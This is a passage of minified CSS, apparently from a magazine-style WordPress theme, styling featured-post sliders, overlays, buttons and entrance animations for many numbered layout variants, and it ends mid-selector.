.feat-meta>span:last-of-type:after,.penci-fslider-fmeta>span:last-of-type:after,.popularpost_meta>span:last-of-type:after{content:none;display:none}.penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,.penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,.penci-owl-carousel.penci-owl-loaded .active .feat-text .penci-featured-slider-button,.penci-owl-carousel.penci-owl-loaded .active .feat-text h3{-webkit-animation-name:pencitextslide;-moz-animation-name:pencitextslide;-o-animation-name:pencitextslide;animation-name:pencitextslide}.featured-style-1 .penci-owl-carousel .penci-image-holder:before{padding-top:45%}.featured-style-2 .penci-owl-carousel .penci-image-holder:before{padding-top:57%}.featured-style-2 .penci-owl-carousel .swiper-slide{width:900px}.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3,.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text{-webkit-animation-name:none;-moz-animation-name:none;-o-animation-name:none;animation-name:none}.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text{-webkit-animation-name:pencitextslider;-moz-animation-name:pencitextslider;-o-animation-name:pencitextslider;animation-name:pencitextslider}.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3{-webkit-animation-name:pencitextslide;-moz-animation-name:pencitextslide;-o-animation-name:pencitextslide;animation-name:pencitextslide}.featured-style-3 .penci-featured-content .feat-text{max-width:500px}.featured-style-3 .penci-owl-carousel .penci-image-holder:before{padding-top:0;height:540px}.featured-style-4 .penci-owl-carousel .penci-image-holder{width:67%}.featured-style-4 .penci-owl-carousel .penci-image-holder:before{height:526px;padding-top:0}.penci-slider4-overlay{position:absolute;top:0;left:0;right:0;bottom:0;z-index:2;background:-moz-linear-gradient(left,rgba(255,255,255,0) 26%,#000 65%);background:-webkit-gradient(linear,left top,right top,color-stop(26%,#000),color-stop(65%,transparent));background:-webkit-linear-gradient(left,rgba(255,255,255,0) 26%,#000 65%);background:-o-linear-gradient(left,rgba(255,255,255,0) 26%,#000 65%);background:-ms-linear-gradient(left,rgba(255,255,255,0) 26%,#000 65%);background:linear-gradient(to right,rgba(255,255,255,0) 26%,#000 65%)}.featured-style-4 .penci-featured-content{width:40%;padding:0 20px;right:0;z-index:5}.featured-style-4 .penci-featured-content .featured-slider-overlay{background:0 0}.featured-style-4 .penci-featured-content .feat-text h3 a{font-weight:inherit;letter-spacing:0;font-size:26px;transition:all .3s;-webkit-transition:all .3s;line-height:1.3;font-family:inherit;text-transform:uppercase}.featured-style-4 .penci-featured-content .feat-text h3 a:hover{opacity:.8}.featured-style-4 .overlay-link{position:absolute;top:0;left:0;right:0;bottom:0;z-index:2}.featured-style-4 .penci-featured-content .feat-text .featured-cat{margin-bottom:2px}.featured-style-37 .penci-image-holder:before,.featured-style-6 .penci-image-holder:before{padding-top:64%}.featured-area .wrapper-item-classess{width:100%;position:relative;display:inline-block;vertical-align:top}.penci-item-mag{position:relative}.featured-style-37 .penci-featured-items-left,.featured-style-37 .penci-featured-items-right,.featured-style-6 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:32.6%;position:relative}.featured-style-37 .penci-featured-items-left,.featured-style-6 .wrapper-item .penci-item-1{width:67.4%;border-right:10px solid transparent}.featured-style-6 .wrapper-item .penci-item-2{border-bottom:5px solid transparent}.featured-style-6 .wrapper-item .penci-item-0{border-top:5px solid transparent}.penci-slide-overlay{position:absolute;top:0;left:0;right:0;bottom:0}.penci-slide-overlay .overlay-link{position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;background:-moz-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:-webkit-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:-o-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:-ms-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);-webkit-transition:opacity .4s ease 0s;-moz-transition:opacity .4s ease 0s;-o-transition:opacity .4s ease 0s;transition:opacity .4s ease 0s;opacity:.7}.penci-item-mag:hover .penci-slide-overlay .overlay-link{opacity:.9}.penci-slide-overlay .penci-mag-featured-content{position:absolute;bottom:16px;left:20px;padding-right:20px;z-index:5;opacity:0;transition:opacity .4s;-webkit-transition:opacity .4s;-moz-transition:opacity .4s;transition-delay:.3s;-webkit-transition-delay:.3s;-moz-transition-delay:.3s;width:calc(100% - 20px)}.featured-area .active .penci-mag-featured-content,.featured-area .swiper-slide-visible .penci-mag-featured-content,.featured-style-7 .penci-mag-featured-content,.featured-style-8 .penci-mag-featured-content{opacity:1}.penci-mag-featured-content h3{line-height:1.3}.penci-mag-featured-content h3 a{text-decoration:none;text-transform:uppercase;color:#fff;font-size:16px}.penci-mag-featured-content h3 a:hover{text-decoration:none}.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a{font-size:24px}.penci-mag-featured-content .cat>a.penci-cat-name{color:#fff}.penci-mag-featured-content .cat{margin-bottom:2px}.penci-mag-featured-content .feat-meta>span:after{content:"";display:inline-block;margin:0 8px 0 12px;width:0;height:8px;border-left:1px solid;opacity:.5}.penci-mag-featured-content .feat-meta{margin-top:6px}.penci-mag-featured-content .feat-meta>span:last-child:after{content:none}.penci-mag-featured-content .feat-meta a,.penci-mag-featured-content .feat-meta span{color:#fff;font-size:13px}.featured-style-7 .penci-image-holder:before{padding-top:100%}.featured-area.featured-style-14 .wrapper-item-classess,.featured-area.featured-style-20 .wrapper-item-classess,.featured-area.featured-style-21 .wrapper-item-classess,.featured-area.featured-style-22 .wrapper-item-classess,.featured-area.featured-style-23 .wrapper-item-classess,.featured-area.featured-style-25 .wrapper-item-classess,.featured-area.featured-style-26 .wrapper-item-classess,.featured-area.featured-style-27 .wrapper-item-classess{width:calc(100% + 4px);margin-left:-2px}.featured-style-8 .penci-image-holder:before{padding-top:135.416%}.featured-style-8 .wrapper-item .penci-item-mag{position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-9 .penci-image-holder:before{padding-top:80%}.featured-style-9 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-9 .wrapper-item .penci-item-mag{position:relative}.featured-style-10 .penci-image-holder:before{padding-top:120%}.featured-style-10 .wrapper-item .penci-item-mag{position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-11 .penci-slide-overlay .penci-mag-featured-content,.featured-style-15 .penci-slide-overlay .penci-mag-featured-content{left:0;padding:0 20px;text-align:center;width:100%}.featured-style-11 .penci-image-holder:before{padding-top:56%}.featured-style-11 .penci-mag-featured-content h3 a{font-size:24px}.featured-style-11 .wrapper-item .penci-item-mag{position:relative}.featured-style-12 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-12 .wrapper-item .penci-item-mag{position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-10 .penci-slide-overlay .penci-mag-featured-content,.featured-style-12 .penci-slide-overlay .penci-mag-featured-content,.featured-style-7 .penci-slide-overlay .penci-mag-featured-content,.featured-style-8 .penci-slide-overlay .penci-mag-featured-content,.featured-style-9 .penci-slide-overlay .penci-mag-featured-content{text-align:center}.featured-style-12 .penci-image-holder:before{padding-top:66.6667%}.featured-style-13 .wrapper-item .penci-item-mag,.featured-style-15 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:25%;position:relative}.featured-style-13 .wrapper-item .penci-item-1,.featured-style-15 .wrapper-item .penci-item-2{width:50%}.featured-style-13 .penci-image-holder:before,.featured-style-15 .penci-image-holder:before{padding-top:0;height:500px}.featured-style-13 .penci-mag-featured-content h3 a,.featured-style-15 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a{font-size:24px}.featured-style-14 .wrapper-item .penci-item-mag,.featured-style-16 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:25%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-14 .wrapper-item .penci-item-1,.featured-style-16 .wrapper-item .penci-item-2{width:50%}.featured-style-14 .penci-image-holder:before,.featured-style-16 .penci-image-holder:before{padding-top:0;height:380px}.featured-style-16 .penci-item-2 .penci-mag-featured-content{left:0;padding:0 20px;text-align:center;width:100%}.featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-17 .wrapper-item .penci-slider17-mag-item{float:left;display:inline-block;width:25%;position:relative}.featured-style-17 .wrapper-item .penci-slide17-item-2{width:50%;border-left:4px solid transparent;border-right:4px solid transparent}.featured-style-17 .penci-image-holder:before{padding:0;height:273px}.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before{height:550px}.featured-style-17 .wrapper-item .penci-item-1,.featured-style-17 .wrapper-item .penci-item-4{margin-bottom:4px}.featured-style-17 .penci-slide-overlay .penci-mag-featured-content{text-align:center}.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a{font-size:24px}.featured-style-18 .wrapper-item .penci-slider17-mag-item{float:left;display:inline-block;width:25%;position:relative}.featured-style-18 .wrapper-item .penci-slide17-item-2{width:50%;border-left:4px solid transparent;border-right:4px solid transparent}.featured-style-18 .penci-image-holder:before{padding:0;height:198px}.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before{height:400px}.featured-style-18 .wrapper-item .penci-item-1,.featured-style-18 .wrapper-item .penci-item-4{margin-bottom:4px}.featured-style-18 .penci-item-3 .penci-mag-featured-content{text-align:center}.featured-style-18 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-19 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:55%;position:relative}.featured-style-19 .wrapper-item .penci-item-2,.featured-style-19 .wrapper-item .penci-item-3{width:45%}.featured-style-19 .wrapper-item .penci-item-0,.featured-style-19 .wrapper-item .penci-item-2{border-left:4px solid transparent}.featured-style-19 .wrapper-item .penci-item-1,.featured-style-19 .wrapper-item .penci-item-2{border-bottom:4px solid transparent}.featured-style-19 .penci-image-holder:before{height:275px;padding-top:0}.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-20 .wrapper-item .penci-item-mag,.featured-style-21 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:33.33333%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-22 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:20%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-20 .wrapper-item .penci-item-1,.featured-style-20 .wrapper-item .penci-item-2,.featured-style-22 .wrapper-item .penci-item-1,.featured-style-22 .wrapper-item .penci-item-2{width:50%;border-bottom:4px solid transparent}.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-20 .penci-image-holder:before,.featured-style-21 .penci-image-holder:before{padding-top:60%}.featured-style-20 .penci-mag-featured-content,.featured-style-21 .penci-mag-featured-content{text-align:center}.featured-style-22 .penci-image-holder:before{padding-top:66.6667%}.featured-style-21 .wrapper-item .penci-item-0,.featured-style-21 .wrapper-item .penci-item-4{border-top:4px solid transparent;width:50%}.featured-style-22 .penci-item-1 .penci-mag-featured-content,.featured-style-22 .penci-item-2 .penci-mag-featured-content,.featured-style-23 .penci-item-1 .penci-mag-featured-content,.featured-style-23 .penci-item-2 .penci-mag-featured-content{text-align:center}.featured-style-22 .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content{bottom:12px;left:0;width:100%;padding:0 15px;text-align:center}.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a{font-size:14px;text-transform:none;letter-spacing:0}.featured-style-23 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:25%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-23 .wrapper-item .penci-item-1,.featured-style-23 .wrapper-item .penci-item-2{width:50%;border-bottom:4px solid transparent}.featured-style-23 .penci-image-holder:before{padding-top:66.6667%}.featured-style-23 .penci-item-1 .penci-image-holder:before,.featured-style-23 .penci-item-2 .penci-image-holder:before{padding-top:60%}.featured-style-24 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:25%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-24 .wrapper-item .penci-item-1,.featured-style-24 .wrapper-item .penci-item-2{width:50%;border-bottom:4px solid transparent}.featured-style-24 .wrapper-item .penci-item-2{border-bottom:4px solid transparent}.featured-style-24 .penci-image-holder:before{padding:0;height:192px}.featured-style-24 .penci-item-1 .penci-image-holder:before{height:456px}.featured-style-24 .penci-item-2 .penci-image-holder:before{height:260px}.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a{font-size:14px;letter-spacing:0}.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a{font-size:22px}.featured-style-25 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:33.33333%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-25 .wrapper-item .penci-item-1{width:66.66666%}.featured-style-25 .wrapper-item .penci-item-2,.featured-style-25 .wrapper-item .penci-item-3{border-bottom:4px solid transparent}.featured-style-25 .penci-image-holder:before{padding:0;height:170px}.featured-style-25 .penci-item-1 .penci-image-holder:before{height:518px}.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a{font-size:24px}.featured-style-26 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:25%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-26 .wrapper-item .penci-item-1{width:50%}.featured-style-26 .wrapper-item .penci-item-2,.featured-style-26 .wrapper-item .penci-item-3{border-bottom:4px solid transparent}.featured-style-26 .penci-image-holder:before{padding:0;height:238px}.featured-style-26 .penci-item-1 .penci-image-holder:before{height:480px}.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a{font-size:22px}.featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a{text-transform:none;letter-spacing:0}.featured-style-27 .wrapper-item .penci-item-mag{float:left;display:inline-block;width:33.33333%;position:relative;border-left:2px solid transparent;border-right:2px solid transparent}.featured-style-27 .wrapper-item .penci-item-1{width:66.66666%}.featured-style-27 .wrapper-item .penci-item-1,.featured-style-27 .wrapper-item .penci-item-2{border-bottom:4px solid transparent}.featured-style-27 .penci-image-holder:before{padding:0;height:260px}.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a{font-size:22px}.featured-style-28 .wrapper-item{padding-left:2px;padding-right:2px}.featured-style-28 .wrapper-item .penci-item-mag{width:300px}.featured-style-28 .penci-image-holder:before{padding-top:66.6667%}.featured-style-28 .wrapper-item .penci-item-1{width:606px}.featured-style-28 .penci-slide-overlay .penci-mag-featured-content{opacity:1}.featured-style-28 .wrapper-item .penci-item-2,.featured-style-28 .wrapper-item .penci-item-4,.featured-style-28 .wrapper-item .penci-item-6{border-bottom:4px solid transparent}.featured-style-28 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-28 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-28 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-28 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-28 .penci-item-5 .penci-mag-featured-content h3 a,.featured-style-28 .penci-item-6 .penci-mag-featured-content h3 a{text-transform:none;letter-spacing:0}.featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a{font-size:22px}.overlay-icon-format{position:absolute;text-align:center;display:inline-block;width:36px;height:36px;line-height:32px;top:50%;left:50%;margin:-18px 0 0 -18px;font-size:14px;opacity:0;color:rgba(255,255,255,.9);border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;border:2px solid rgba(255,255,255,.9);transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5);z-index:3;background:rgba(0,0,0,.3)}.overlay-icon-format.lager-size-icon{width:42px;height:42px;line-height:38px;margin:-21px 0 0 -21px;font-size:16px}.penci-item-mag:hover .overlay-icon-format{opacity:1;transform:scale(1);-webkit-transform:scale(1);-moz-transform:scale(1)}.overlay-icon-format i.fa-music{margin-right:3px}.overlay-icon-format i.fa-play{margin-left:2px}.featured-style-17 .penci-item-0 .overlay-icon-format,.featured-style-17 .penci-item-1 .overlay-icon-format,.featured-style-17 .penci-item-2 .overlay-icon-format,.featured-style-17 .penci-item-4 .overlay-icon-format,.featured-style-18 .penci-item-0 .overlay-icon-format,.featured-style-18 .penci-item-1 .overlay-icon-format,.featured-style-18 .penci-item-2 .overlay-icon-format,.featured-style-18 .penci-item-4 .overlay-icon-format,.featured-style-19 .penci-item-mag .overlay-icon-format,.featured-style-20 .penci-item-0 .overlay-icon-format,.featured-style-20 .penci-item-3 .overlay-icon-format,.featured-style-20 .penci-item-4 .overlay-icon-format,.featured-style-21 .penci-item-1 .overlay-icon-format,.featured-style-21 .penci-item-2 .overlay-icon-format,.featured-style-21 .penci-item-3 .overlay-icon-format,.featured-style-22 .penci-item-0 .overlay-icon-format,.featured-style-22 .penci-item-3 .overlay-icon-format,.featured-style-22 .penci-item-4 .overlay-icon-format,.featured-style-22 .penci-item-5 .overlay-icon-format,.featured-style-22 .penci-item-6 .overlay-icon-format,.featured-style-23 .penci-item-0 .overlay-icon-format,.featured-style-23 .penci-item-3 .overlay-icon-format,.featured-style-23 .penci-item-4 .overlay-icon-format,.featured-style-23 .penci-item-5 .overlay-icon-format,.featured-style-24 .penci-item-0 .overlay-icon-format,.featured-style-24 .penci-item-2 .overlay-icon-format,.featured-style-24 .penci-item-3 .overlay-icon-format,.featured-style-25 .penci-item-0 .overlay-icon-format,.featured-style-25 .penci-item-2 .overlay-icon-format,.featured-style-25 .penci-item-3 .overlay-icon-format,.featured-style-26 .penci-item-0 .overlay-icon-format,.featured-style-26 .penci-item-2 .overlay-icon-format,.featured-style-26 .penci-item-3 .overlay-icon-format,.featured-style-26 .penci-item-4 .overlay-icon-format,.featured-style-27 .penci-item-mag .overlay-icon-format,.featured-style-6 .penci-item-0 .overlay-icon-format,.featured-style-6 .penci-item-2 .overlay-icon-format{top:20px;left:auto;right:20px;margin:0}.featured-style-29 .penci-image-holder:before{height:550px;padding:0}.featured-style-35 .penci-image-holder:before{height:600px;padding:0}.featured-style-29 .featured-slider-overlay{position:absolute;background:#000;top:0;left:0;right:0;bottom:0;opacity:.3;z-index:1}.featured-style-29 .penci-featured-content{z-index:5}.featured-style-29 .penci-featured-content .feat-text{width:100%;max-width:var(--pcctain);margin:0 auto;padding:0}.featured-style-29 .penci-featured-content .feat-text h3{position:relative;padding-bottom:15px}.featured-style-29 .penci-featured-content .feat-text h3:before{width:60px;height:0;border-top:1px solid #fff;left:50%;margin-left:-30px;bottom:0;content:"";position:absolute}.featured-style-29 .penci-featured-content .feat-text h3 a{font-size:28px}.featured-style-29 .penci-featured-slider-button,.featured-style-38 .penci-featured-slider-button,.featured-style-39 .penci-featured-slider-button,.featured-style-40 .penci-featured-slider-button,.featured-style-41 .penci-featured-slider-button,.featured-style-42 .penci-featured-slider-button,.featured-style-44 .penci-featured-slider-button{margin-top:20px;animation-delay:1s;-webkit-animation-delay:1s;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both}.featured-style-29 .penci-featured-slider-button a,.featured-style-35 .penci-featured-slider-button a,.featured-style-38 .penci-featured-slider-button a,.featured-style-39 .penci-featured-slider-button a,.featured-style-40 .penci-featured-slider-button a,.featured-style-41 .penci-featured-slider-button a,.featured-style-42 .penci-featured-slider-button a,.featured-style-44 .penci-featured-slider-button a{height:36px;line-height:34px;padding:0 15px;border:1px solid #fff;color:#fff;font-family:var(--pchead-font);font-size:12px;text-transform:uppercase;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;display:inline-block;vertical-align:top;font-weight:var(--pchead-wei);text-decoration:none!important}.featured-style-29 .penci-featured-slider-button a:hover,.featured-style-35 .penci-featured-slider-button a:hover,.featured-style-38 .penci-featured-slider-button a:hover,.featured-style-39 .penci-featured-slider-button a:hover,.featured-style-40 .penci-featured-slider-button a:hover,.featured-style-41 .penci-featured-slider-button a:hover,.featured-style-42 .penci-featured-slider-button a:hover,.featured-style-44 .penci-featured-slider-button a:hover{background:#fff;color:#010101;text-decoration:none}.featured-style-29 .penci-featured-content .feat-text .featured-cat a{font-size:14px}.featured-style-29 .penci-featured-content .feat-text{opacity:1;animation-delay:0s;-webkit-animation-delay:0s}.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text{-webkit-animation-name:none;-moz-animation-name:none;-o-animation-name:none;animation-name:none}.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text h3,.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .featured-cat,.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp}.penci-featured-content-right{position:absolute;right:0;width:450px;top:0;bottom:0;height:100%;display:block;padding-top:20px;padding-bottom:20px}.penci-featured-content-right:before{background:#000;opacity:0;content:"";position:absolute;left:0;bottom:0;right:0;top:0;width:100%;height:100%;display:block;z-index:1;animation-delay:var(--pcfs-delay);-webkit-animation-delay:var(--pcfs-delay);-webkit-animation-duration:.6s;-moz-animation-duration:.6s;-ms-animation-duration:.6s;-o-animation-duration:.6s;animation-duration:.6s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both}.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content-right:before{-webkit-animation-name:pencifadeInUpDiv;-moz-animation-name:pencifadeInUpDiv;-o-animation-name:pencifadeInUpDiv;animation-name:pencifadeInUpDiv}@-webkit-keyframes pencifadeInUpDiv{0%{opacity:0;-webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0)}100%{opacity:.7;-webkit-transform:none;transform:none}}@keyframes pencifadeInUpDiv{0%{opacity:0;-webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0)}100%{opacity:.7;-webkit-transform:none;transform:none}}.feat-text-right{position:absolute;display:block;top:50%;width:100%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);z-index:3;left:0;padding-left:20px;padding-right:20px}.featured-style-35 .penci-featured-content-right{z-index:5}.featured-style-35 .feat-text-right h3 a{font-size:28px;color:#fff;text-transform:uppercase;text-decoration:none}.featured-style-35 .featured-cat{margin-bottom:5px}.featured-style-35 .cat>a.penci-cat-name{color:#fff}.featured-style-35 .featured-content-excerpt{margin-top:7px}.featured-content-excerpt .sd-sharing-enabled{display:none}.featured-style-35 .featured-content-excerpt p{color:#fff;line-height:1.6;opacity:.85;margin-top:10px;font-size:14px}.featured-style-35 .penci-featured-slider-button{margin-top:25px}.featured-style-35 .feat-text-right h3,.featured-style-35 .featured-cat,.featured-style-35 .featured-content-excerpt,.featured-style-35 .penci-featured-slider-button,.featured-style-37 .penci-item-1 .feat-meta,.featured-style-37 .penci-item-1 .feat-text h3,.featured-style-37 .penci-item-1 .featured-cat{-webkit-animation-duration:.5s;-moz-animation-duration:.5s;-ms-animation-duration:.5s;-o-animation-duration:.5s;animation-duration:.5s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both}.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .feat-text-right h3,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-cat,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-content-excerpt,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button,.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3,.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .featured-cat{-webkit-animation-name:pencifadeInUpSmall;-moz-animation-name:pencifadeInUpSmall;-o-animation-name:pencifadeInUpSmall;animation-name:pencifadeInUpSmall}.feat-text-right>:nth-child(1){animation-delay:calc(var(--pcfs-delay) + .4s)}.feat-text-right>:nth-child(2){animation-delay:calc(var(--pcfs-delay) + .6s)}.feat-text-right>:nth-child(3){animation-delay:calc(var(--pcfs-delay) + .8s)}.feat-text-right>:nth-child(4){animation-delay:calc(var(--pcfs-delay) + 1s)}.feat-text-right>:nth-child(5){animation-delay:calc(var(--pcfs-delay) + 1.2s)}.featured-style-35 .featured-content-excerpt .feat-meta span{color:#fff;font-size:13px}.featured-style-35 .featured-content-excerpt .feat-meta>span:after{content:"";display:inline-block;margin:0 8px 0 12px;width:0;height:10px;border-left:1px solid;opacity:.35;color:inherit}.featured-style-35 .featured-content-excerpt .feat-meta>span:last-child:after{content:none}.featured-style-35 .featured-content-excerpt .feat-meta span a{color:#fff;font-size:inherit;text-decoration:none!important}.featured-style-35.style-36 .penci-image-holder:before{height:550px;padding:0}.featured-style-35.style-36 .penci-featured-content-right{width:420px}.featured-style-37 .penci-featured-items-right>.item:first-child{margin-bottom:11px}.featured-style-37 .penci-slide-overlay .penci-mag-featured-content{opacity:1;text-align:center}.featured-style-37 .penci-owl-carousel .penci-owl-dots{bottom:11px}.featured-style-37 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content{bottom:46px}.featured-style-37 .penci-owl-carousel[data-dots=false] .penci-item-1 .penci-slide-overlay .penci-mag-featured-content{bottom:16px}.featured-style-37 .penci-item-1 .feat-meta,.featured-style-37 .penci-item-1 .feat-text h3,.featured-style-37 .penci-item-1 .featured-cat{opacity:0}.featured-style-38 .penci-owl-carousel .item{width:450px;width:25vw}.featured-style-38 .penci-image-holder:before{padding-top:120%}.penci-slider38-overlay{position:absolute;top:0;left:0;bottom:0;right:0;width:100%;height:100%;background:#000;opacity:.4;z-index:1;transition:opacity .3s;-webkit-transition:opacity .3s}.featured-style-38 .item:hover .penci-slider38-overlay{opacity:.7}.featured-style-38 .penci-featured-content{z-index:5}.featured-style-38 .penci-featured-slider-button{margin-top:24px}.featured-slider-excerpt{margin-top:7px}.featured-slider-excerpt p{color:#fff;line-height:1.6}.featured-style-38 .penci-featured-content .feat-text,.featured-style-38 .penci-owl-carousel .feat-text .feat-meta,.featured-style-38 .penci-owl-carousel .feat-text .featured-cat,.featured-style-38 .penci-owl-carousel .feat-text h3{-webkit-animation-delay:0!important;-moz-animation-delay:0!important;-o-animation-delay:0!important;animation-delay:0!important;-webkit-animation-name:none!important;-moz-animation-name:none!important;-o-animation-name:none!important;animation-name:none!important;opacity:1!important}.post-entry .penci-featured-content .feat-text .feat-meta,.post-entry .penci-featured-content .feat-text .featured-cat,.post-entry .penci-mag-featured-content .cat,.post-entry .penci-mag-featured-content .feat-meta,.post-entry .penci-widget-slide-detail .slide-item-date{line-height:1}.post-entry .featured-style-35 .feat-text-right h3,.post-entry .penci-featured-content .feat-text h3,.post-entry .penci-mag-featured-content h3,.post-entry .penci-owl-featured-area .feat-text h3,.post-entry 